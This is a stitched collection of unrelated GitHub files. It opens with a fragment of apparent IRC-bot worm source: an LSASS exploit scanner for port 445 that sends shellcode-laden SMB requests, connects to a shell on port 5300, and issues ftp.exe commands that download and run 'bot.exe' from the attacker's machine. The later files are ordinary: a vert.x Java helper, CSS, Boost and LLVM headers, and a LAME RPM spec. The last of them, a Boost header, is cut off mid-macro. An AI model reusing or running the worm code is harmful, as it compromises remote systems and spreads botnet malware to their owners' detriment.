sc, strlen((const char*)sc)); memcpy(strBuffer+1980, strasm, strlen(strasm)); *(long *)&strBuffer[1964]=ttarget[which].jmpaddr; } memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500); //Send if(!m_sSocket.Write(req4u, smblen+4)) { m_sSocket.Disconnect(); return false; } // Read if(!m_sSocket.Recv(szRecvBuf, 1600)) { m_sSocket.Disconnect(); return false; } //Send if(!m_sSocket.Write(req5, sizeof(req5)-1)) { m_sSocket.Disconnect(); return false; } // Read if(!m_sSocket.Recv(szRecvBuf, 1600)) { m_sSocket.Disconnect(); return false; } //Send if(!m_sSocket.Write(req6, sizeof(req6)-1)) { m_sSocket.Disconnect(); return false; } // Read if(!m_sSocket.Recv(szRecvBuf, 1600)) { m_sSocket.Disconnect(); return false; } if ( which != 0 ) { //if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) { memcpy(screq2k, req8, sizeof(req8)-1); memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2); memcpy(screq2k2, req9, sizeof(req9)-1); memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348); memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1); //Send if(!m_sSocket.Write(screq2k, 4348)) { m_sSocket.Disconnect(); return false; } // Read if(!m_sSocket.Recv(szRecvBuf, 1600)) { m_sSocket.Disconnect(); return false; } //Send if(!m_sSocket.Write(screq2k2, 4060)) { m_sSocket.Disconnect(); return false; } } else { memcpy(screq, req7, sizeof(req7)-1); memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE); memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16); screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0; //Send if(!m_sSocket.Write(screq, BUFSIZE+sizeof(req7)-1+1500-304)) { m_sSocket.Disconnect(); return false; } } Sleep(10000); CSocket outSocket; if(!outSocket.Connect(m_sSocket.m_szHost, 5300)) // Connect failed, exit { m_sSocket.Disconnect(); return false; } char mkdir_buff[400]=""; int iPort=g_pMainCtrl->m_cBot.bot_ftrans_port_ftp.iValue; sprintf(mkdir_buff, "echo open %s %d > bla.txt && " "echo user blah blah >> bla.txt && " "echo binary >> bla.txt && " "echo get %s >> bla.txt && " "echo quit >> bla.txt && " "ftp.exe -n -s:bla.txt && " "%s\n", g_pMainCtrl->m_cIRC.m_sLocalIp.CStr(), iPort, "bot.exe", "bot.exe"); if(!outSocket.RecvTO(szRecvBuf, sizeof(szRecvBuf), 5000)) { m_sSocket.Disconnect(); outSocket.Disconnect(); return false; } Sleep(500); if(!outSocket.Write((char*)mkdir_buff, sizeof(mkdir_buff))) { m_sSocket.Disconnect(); outSocket.Disconnect(); return false; } // successful!!! if (g_pMainCtrl->m_cBot.scaninfo_level.iValue >= 2) { SendLocal("%s: Exploited %s", m_sScannerName.CStr(), m_sSocket.m_szHost); } m_sSocket.Disconnect(); return true; } REGSCANNER(LSASS_445, LSASS, 445, true, true)
{ "pile_set_name": "Github" }
/* * Copyright (c) 2011-2019 Contributors to the Eclipse Foundation * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License 2.0 which is available at * http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0 * which is available at https://www.apache.org/licenses/LICENSE-2.0. * * SPDX-License-Identifier: EPL-2.0 OR Apache-2.0 */ package io.vertx.core; import java.util.*; /** * A helper class for loading factories from the classpath. * * @author <a href="http://tfox.org">Tim Fox</a> */ public class ServiceHelper { public static <T> T loadFactory(Class<T> clazz) { T factory = loadFactoryOrNull(clazz); if (factory == null) { throw new IllegalStateException("Cannot find META-INF/services/" + clazz.getName() + " on classpath"); } return factory; } public static <T> T loadFactoryOrNull(Class<T> clazz) { Collection<T> collection = loadFactories(clazz); if (!collection.isEmpty()) { return collection.iterator().next(); } else { return null; } } public static <T> Collection<T> loadFactories(Class<T> clazz) { return loadFactories(clazz, null); } public static <T> Collection<T> loadFactories(Class<T> clazz, ClassLoader classLoader) { List<T> list = new ArrayList<>(); ServiceLoader<T> factories; if (classLoader != null) { factories = ServiceLoader.load(clazz, classLoader); } else { // this is equivalent to: // ServiceLoader.load(clazz, TCCL); factories = ServiceLoader.load(clazz); } if (factories.iterator().hasNext()) { factories.iterator().forEachRemaining(list::add); return list; } else { // By default ServiceLoader.load uses the TCCL, this may not be enough in environment dealing with // classloaders differently such as OSGi. So we should try to use the classloader having loaded this // class. In OSGi it would be the bundle exposing vert.x and so have access to all its classes. factories = ServiceLoader.load(clazz, ServiceHelper.class.getClassLoader()); if (factories.iterator().hasNext()) { factories.iterator().forEachRemaining(list::add); return list; } else { return Collections.emptyList(); } } } }
{ "pile_set_name": "Github" }
@charset "utf-8"; /* CSS Document by jacy use in weisite */ .container{ background:none} /* 详情页 */ .detail { padding:10px;} .detail h6{ font-size:20px; padding:10px 0; font-weight:bold;} .detail .info{ border-bottom:1px solid #ccc; line-height:30px; margin-bottom:10px;} .detail img{ padding:5px 0; max-width:100%;} .detail .content{padding:5px 0; font-size:16px;} .detail .content a{ text-decoration:underline}
{ "pile_set_name": "Github" }
// Copyright Aleksey Gurtovoy 2001-2004 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // Preprocessed version of "boost/mpl/inherit.hpp" header // -- DO NOT modify by hand! namespace boost { namespace mpl { template< typename BOOST_MPL_AUX_NA_PARAM(T1) , typename BOOST_MPL_AUX_NA_PARAM(T2) > struct inherit2 : T1, T2 { typedef inherit2 type; BOOST_MPL_AUX_LAMBDA_SUPPORT(2, inherit2, (T1, T2)) }; template< typename T1 > struct inherit2< T1,empty_base > { typedef T1 type; BOOST_MPL_AUX_LAMBDA_SUPPORT_SPEC(2, inherit2, (T1, empty_base)) }; template< typename T2 > struct inherit2< empty_base,T2 > { typedef T2 type; BOOST_MPL_AUX_LAMBDA_SUPPORT_SPEC(2, inherit2, (empty_base, T2)) }; template<> struct inherit2< empty_base,empty_base > { typedef empty_base type; BOOST_MPL_AUX_LAMBDA_SUPPORT_SPEC(2, inherit2, (empty_base, empty_base)) }; BOOST_MPL_AUX_NA_SPEC(2, inherit2) template< typename T1 = na, typename T2 = na, typename T3 = na > struct inherit3 : inherit2< typename inherit2< T1, T2 >::type , T3 > { BOOST_MPL_AUX_LAMBDA_SUPPORT( 3 , inherit3 , ( T1, T2, T3) ) }; BOOST_MPL_AUX_NA_SPEC(3, inherit3) template< typename T1 = na, typename T2 = na, typename T3 = na, typename T4 = na > struct inherit4 : inherit2< typename inherit3< T1, T2, T3 >::type , T4 > { BOOST_MPL_AUX_LAMBDA_SUPPORT( 4 , inherit4 , ( T1, T2, T3, T4) ) }; BOOST_MPL_AUX_NA_SPEC(4, inherit4) template< typename T1 = na, typename T2 = na, typename T3 = na, typename T4 = na , typename T5 = na > struct inherit5 : inherit2< typename inherit4< T1, T2, T3, T4 >::type , T5 > { BOOST_MPL_AUX_LAMBDA_SUPPORT( 5 , inherit5 , ( T1, T2, T3, T4, T5) ) }; BOOST_MPL_AUX_NA_SPEC(5, inherit5) /// primary template template< typename T1 = empty_base, typename T2 = empty_base , typename T3 = empty_base, typename T4 = empty_base , typename T5 = empty_base > struct inherit : inherit5< T1,T2,T3,T4,T5 > { }; template<> struct inherit< na,na,na,na,na > { template< typename T1 = empty_base, typename T2 = empty_base , typename T3 = empty_base, typename T4 = empty_base , typename T5 = empty_base > struct apply : inherit< T1,T2,T3,T4,T5 > { }; }; BOOST_MPL_AUX_NA_SPEC_LAMBDA(5, inherit) BOOST_MPL_AUX_NA_SPEC_ARITY(5, inherit) BOOST_MPL_AUX_NA_SPEC_TEMPLATE_ARITY(5, 5, inherit) }}
{ "pile_set_name": "Github" }
%define name @PACKAGE@ %define ver @VERSION@ %define rel 1 %define prefix %{_usr} %define docdir %{_defaultdocdir} Summary : LAME Ain't an MP3 Encoder... but it's the best. Summary(fr) : LAME n'est pas un encodeur MP3 ;-> Name: %{name} Version: %{ver} Release: %{rel} License: LGPL Vendor: The LAME Project Packager: Yosi Markovich <[email protected]> URL: http://www.mp3dev.org Group: Applications/Multimedia Source: %{name}-%{version}.tar.gz BuildRoot: %{_tmppath}/%{name}-root Requires: ncurses >= 5.0 BuildRequires: gcc => 3.0.1, /usr/bin/find, ncurses-devel %ifarch %{ix86} x86_64 BuildRequires: nasm %endif Provides: mp3encoder %description LAME is an educational tool to be used for learning about MP3 encoding. The goal of the LAME project is to use the open source model to improve the psycho acoustics, noise shaping and speed of MP3. %description -l fr LAME est un outil d'enseignement pour l'apprentissage de l'encodage MP3. Le but du projet LAME est d'utiliser un mod�le "open source" afin d'am�liorer la qualit� et la vitesse du MP3. %package devel Summary: Shared and static libraries for LAME. Group: Development/Libraries Requires: %{name} = %{version} %description devel LAME is an educational tool to be used for learning about MP3 encoding. This package contains both the shared and the static libraries from the LAME project. You will also need to install the main lame package in order to install these libraries. %prep %setup %build # Vorbis makes the build fail for now. . . rm -f config.cache %configure \ %ifarch %{ix86} x86_64 --enable-nasm \ %endif --enable-decoder \ --without-vorbis \ --enable-analyzer=no \ --enable-brhist \ --disable-debug %{__make} %{?_smp_mflags} test CFLAGS="%{optflags}" %install %{__rm} -rf %{buildroot} %makeinstall ### Some apps still expect to find <lame.h> %{__ln_s} -f lame/lame.h %{buildroot}%{_includedir}/lame.h find doc/html -name "Makefile*" | xargs rm -f ### make install really shouldn't install these %{__rm} -rf %{buildroot}%{_docdir}/lame/ %post /sbin/ldconfig 2>/dev/null %postun /sbin/ldconfig 2>/dev/null %clean %{__rm} -rf %{buildroot} %files %defattr (-,root,root) %doc COPYING ChangeLog README TODO USAGE doc/html %doc doc/html %{_bindir}/lame %{_libdir}/libmp3lame.so.* %{_mandir}/man1/lame.1* %files devel %defattr (-, root, root) %doc API HACKING STYLEGUIDE %{_libdir}/libmp3lame.a %{_libdir}/libmp3lame.la %{_libdir}/libmp3lame.so %{_includedir}/* %changelog * Sun May 14 2006 Kyle VanderBeek <[email protected]> - Remove requirements for specific gcc versions, since modern ones "just work". - Remove out-dated hyper-optimizations (some of which weren't valid compiler flags anymore). - Update to current RPM techniques and macros (inspired by freshrpms.net spec). * Sat May 11 2002 Yosi Markovich <[email protected]> - Fixes to the spec file that include: - Making sure the compiler is gcc version 3.0.1. Lame compiled with a version greater than 3.0.1 is broken. - Optimization flags for i686 will use i686 for march and mcpu, and not athlon. - Fix the dates in this Changelog section. - Various small fixes merged from Matthias Saou. - Thanks Fred Maciel <[email protected]> for his useful comments. - * Tue Jan 22 2002 Mark Taylor <[email protected]> - replaced lame.spec.in with Yosi's version. Merged some stuff from the prevous lame.spec.in file, and appended changelog below. * Tue Jan 22 2002 Yosi Markovich <[email protected]> - Rewrote lame.spec.in to create a correct and nice spec file. imho, this spec file is not good for anyone who wants to build daily cvs snapshots. Closes bug #495975 * Tue Dec 11 2001 Yosi Markovich <[email protected]> - Shamelessly stole Matthias Saou's excellent spec file to create daily CVS snapshots of Lame. Other than that, nothing is new. * Tue Oct 23 2001 Matthias Saou <[email protected]> - Fixed the %pre and %post that should have been %post and %postun, silly me! - Removed -malign-double (it's evil, Yosi told me and I tested, brrr ;-)). - Now build with gcc3, VBR encoding gets a hell of a boost, impressive! I recommend you now use "lame --r3mix", it's the best. - Tried to re-enable vorbis, but it's a no-go. * Thu Jul 26 2001 Matthias Saou <[email protected]> - Build with kgcc to have VBR working. * Wed Jul 25 2001 Matthias Saou <[email protected]> - Update to 3.89beta : Must be built with a non-patched version of nasm to work! * Mon May 7 2001 Matthias Saou <[email protected]> - Rebuilt for Red Hat 7.1. - Disabled the vorbis support since it fails to build with it. - Added a big optimisation section, thanks to Yosi Markovich <[email protected]> for this and other pointers. * Sun Feb 11 2001 Matthias Saou <[email protected]> - Split the package, there is now a -devel * Thu Nov 26 2000 Matthias Saou <[email protected]> - Initial RPM release for RedHat 7.0 from scratch * Wed Nov 21 2000 Eric Lassauge <[email protected]> - Updated and corrected RPM to 3.89beta. - Added french translations * Sat Aug 04 2000 Markus Linnala �[email protected]� - Build and include docs and libs correctly - Build extra programs * Tue Aug 01 2000 Stuart Young �[email protected]� - Updated RPM to 3.85beta. - Modified spec file (merged George and Keitaro's specs) - Added reasonable info to the specs to reflect the maintainer - Renamed lame.spec (plain spec is bad, mmkay?). * Fri Jun 30 2000 Keitaro Yosimura �[email protected]� - Updated RPM to 3.84alpha. - Better attempt at an RPM, independant of 3.83 release. - (This is all surmise as there was no changelog). * Thu May 30 2000 Georges Seguin �[email protected]� - First RPM build around 3.83beta
{ "pile_set_name": "Github" }
//===- ARMInstPrinter.h - Convert ARM MCInst to assembly syntax -*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This class prints an ARM MCInst to a .s file. // //===----------------------------------------------------------------------===// #ifndef LLVM_LIB_TARGET_ARM_MCTARGETDESC_ARMINSTPRINTER_H #define LLVM_LIB_TARGET_ARM_MCTARGETDESC_ARMINSTPRINTER_H #include "MCTargetDesc/ARMMCTargetDesc.h" #include "llvm/MC/MCInstPrinter.h" namespace llvm { class ARMInstPrinter : public MCInstPrinter { public: ARMInstPrinter(const MCAsmInfo &MAI, const MCInstrInfo &MII, const MCRegisterInfo &MRI); bool applyTargetSpecificCLOption(StringRef Opt) override; void printInst(const MCInst *MI, raw_ostream &O, StringRef Annot, const MCSubtargetInfo &STI) override; void printRegName(raw_ostream &OS, unsigned RegNo) const override; // Autogenerated by tblgen. void printInstruction(const MCInst *MI, const MCSubtargetInfo &STI, raw_ostream &O); virtual bool printAliasInstr(const MCInst *MI, const MCSubtargetInfo &STI, raw_ostream &O); virtual void printCustomAliasOperand(const MCInst *MI, unsigned OpIdx, unsigned PrintMethodIdx, const MCSubtargetInfo &STI, raw_ostream &O); static const char *getRegisterName(unsigned RegNo, unsigned AltIdx = ARM::NoRegAltName); void printOperand(const MCInst *MI, unsigned OpNo, const MCSubtargetInfo &STI, raw_ostream &O); void printSORegRegOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printSORegImmOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printAddrModeTBB(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printAddrModeTBH(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printAddrMode2Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printAM2PostIndexOp(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printAM2PreOrOffsetIndexOp(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printAddrMode2OffsetOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); template <bool AlwaysPrintImm0> void printAddrMode3Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printAddrMode3OffsetOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printAM3PreOrOffsetIndexOp(const MCInst *MI, unsigned Op, raw_ostream &O, bool AlwaysPrintImm0); void printPostIdxImm8Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printPostIdxRegOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printPostIdxImm8s4Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printLdStmModeOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); template <bool AlwaysPrintImm0> void printAddrMode5Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); template <bool AlwaysPrintImm0> void printAddrMode5FP16Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printAddrMode6Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printAddrMode7Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printAddrMode6OffsetOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printBitfieldInvMaskImmOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printMemBOption(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printInstSyncBOption(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printTraceSyncBOption(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printShiftImmOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printPKHLSLShiftImm(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printPKHASRShiftImm(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); template <unsigned scale> void printAdrLabelOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printThumbS4ImmOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printThumbSRImm(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printThumbITMask(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printThumbAddrModeRROperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printThumbAddrModeImm5SOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O, unsigned Scale); void printThumbAddrModeImm5S1Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printThumbAddrModeImm5S2Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printThumbAddrModeImm5S4Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printThumbAddrModeSPOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printT2SOOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); template <bool AlwaysPrintImm0> void printAddrModeImm12Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); template <bool AlwaysPrintImm0> void printT2AddrModeImm8Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); template <bool AlwaysPrintImm0> void printT2AddrModeImm8s4Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printT2AddrModeImm0_1020s4Operand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printT2AddrModeImm8OffsetOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printT2AddrModeImm8s4OffsetOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printT2AddrModeSoRegOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printSetendOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printCPSIMod(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printCPSIFlag(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printMSRMaskOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printBankedRegOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printPredicateOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printMandatoryPredicateOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printMandatoryRestrictedPredicateOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printMandatoryInvertedPredicateOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printSBitModifierOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printRegisterList(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printNoHashImmediate(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printPImmediate(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printCImmediate(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printCoprocOptionImm(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printFPImmOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printNEONModImmOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printImmPlusOneOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printRotImmOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printModImmOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printGPRPairOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printPCLabel(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printThumbLdrLabelOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printFBits16(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printFBits32(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorIndex(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListOne(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListTwo(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListTwoSpaced(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListThree(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListFour(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListOneAllLanes(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListTwoAllLanes(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListThreeAllLanes(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListFourAllLanes(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListTwoSpacedAllLanes(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListThreeSpacedAllLanes(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListFourSpacedAllLanes(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListThreeSpaced(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVectorListFourSpaced(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); template<int64_t Angle, int64_t Remainder> void printComplexRotationOp(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); // MVE void printVPTPredicateOperand(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); void printVPTMask(const MCInst *MI, unsigned OpNum, const MCSubtargetInfo &STI, raw_ostream &O); private: unsigned DefaultAltIdx = ARM::NoRegAltName; }; } // end namespace llvm #endif // LLVM_LIB_TARGET_ARM_MCTARGETDESC_ARMINSTPRINTER_H
{ "pile_set_name": "Github" }
// (C) Copyright Edward Diener 2011-2015 // Use, modification and distribution are subject to the Boost Software License, // Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt). #if !defined(BOOST_VMD_DETAIL_DATA_EQUAL_7_HPP) #define BOOST_VMD_DETAIL_DATA_EQUAL_7_HPP #include <boost/vmd/detail/recurse/data_equal/data_equal_headers.hpp> #define BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_TEQ_CMP_PARENS(d,em1,em2) \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_DATA_EQUAL_IS_BOTH_COMPOSITE(em1,em2), \ BOOST_VMD_IDENTITY(2), \ BOOST_VMD_DETAIL_EQUAL_SIMPLE_D \ ) \ (d,em1,em2) \ ) \ /**/ #define BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_TEQ_CMP_PARENS_D(d,em1,em2) \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_DATA_EQUAL_IS_BOTH_COMPOSITE(em1,em2), \ BOOST_VMD_IDENTITY(2), \ BOOST_VMD_DETAIL_EQUAL_SIMPLE_D \ ) \ (d,em1,em2) \ ) \ /**/ #define BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_TEQ_CMP(d,state,em1,em2) \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_DATA_EQUAL_STATE_COMP_PROCESSING(d,state), \ BOOST_VMD_DETAIL_EQUAL_SIMPLE_D, \ BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_TEQ_CMP_PARENS \ ) \ (d,em1,em2) \ /**/ #define BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_TEQ_CMP_D(d,state,em1,em2) \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_DATA_EQUAL_STATE_COMP_PROCESSING(d,state), \ BOOST_VMD_DETAIL_EQUAL_SIMPLE_D, \ BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_TEQ_CMP_PARENS_D \ ) \ (d,em1,em2) \ /**/ #define BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_TEQ(d,state) \ BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_TEQ_CMP \ ( \ d, \ state, \ BOOST_VMD_DETAIL_DATA_EQUAL_STATE_GET_FIRST_ELEMENT(d,state), \ BOOST_VMD_DETAIL_DATA_EQUAL_STATE_GET_SECOND_ELEMENT(d,state) \ ) \ /**/ #define BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_TEQ_D(d,state) \ BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_TEQ_CMP_D \ ( \ d, \ state, \ BOOST_VMD_DETAIL_DATA_EQUAL_STATE_GET_FIRST_ELEMENT(d,state), \ BOOST_VMD_DETAIL_DATA_EQUAL_STATE_GET_SECOND_ELEMENT(d,state) \ ) \ /**/ #define BOOST_VMD_DETAIL_DATA_EQUAL_7_OP(d,state) \ BOOST_VMD_DETAIL_DATA_EQUAL_OP_RESULT \ ( \ d, \ state, \ BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_TEQ(d,state) \ ) \ /**/ #define BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_D(d,state) \ BOOST_VMD_DETAIL_DATA_EQUAL_OP_RESULT \ ( \ d, \ state, \ BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_TEQ_D(d,state) \ ) \ /**/ #define BOOST_VMD_DETAIL_DATA_EQUAL_7_LOOP(dataf,datas,sz,vtype) \ BOOST_PP_TUPLE_ELEM \ ( \ 0, \ BOOST_PP_WHILE \ ( \ BOOST_VMD_DETAIL_DATA_EQUAL_PRED, \ BOOST_VMD_DETAIL_DATA_EQUAL_7_OP, \ ( \ 1, \ dataf, \ datas, \ sz, \ vtype, \ 0, \ ) \ ) \ ) \ /**/ #define BOOST_VMD_DETAIL_DATA_EQUAL_7_LOOP_D(d,dataf,datas,sz,vtype) \ BOOST_PP_TUPLE_ELEM \ ( \ 0, \ BOOST_PP_WHILE_ ## d \ ( \ BOOST_VMD_DETAIL_DATA_EQUAL_PRED, \ BOOST_VMD_DETAIL_DATA_EQUAL_7_OP_D, \ ( \ 1, \ dataf, \ datas, \ sz, \ vtype, \ 0, \ ) \ ) \ ) \ /**/ #define BOOST_VMD_DETAIL_DATA_EQUAL_7_SZ(dataf,datas,szf,szs,vtype) \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_PP_EQUAL(szf,szs), \ BOOST_VMD_DETAIL_DATA_EQUAL_7_LOOP, \ BOOST_VMD_IDENTITY(0) \ ) \ (dataf,datas,szf,vtype) \ ) \ /**/ #define BOOST_VMD_DETAIL_DATA_EQUAL_7_SZ_D(d,dataf,datas,szf,szs,vtype) \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_PP_EQUAL_D(d,szf,szs), \ BOOST_VMD_DETAIL_DATA_EQUAL_7_LOOP_D, \ BOOST_VMD_IDENTITY(0) \ ) \ (d,dataf,datas,szf,vtype) \ ) \ /**/ #define BOOST_VMD_DETAIL_DATA_EQUAL_7(dataf,datas,vtype) \ BOOST_VMD_DETAIL_DATA_EQUAL_7_SZ \ ( \ dataf, \ datas, \ BOOST_VMD_DETAIL_DATA_EQUAL_GET_SIZE(dataf,vtype), \ 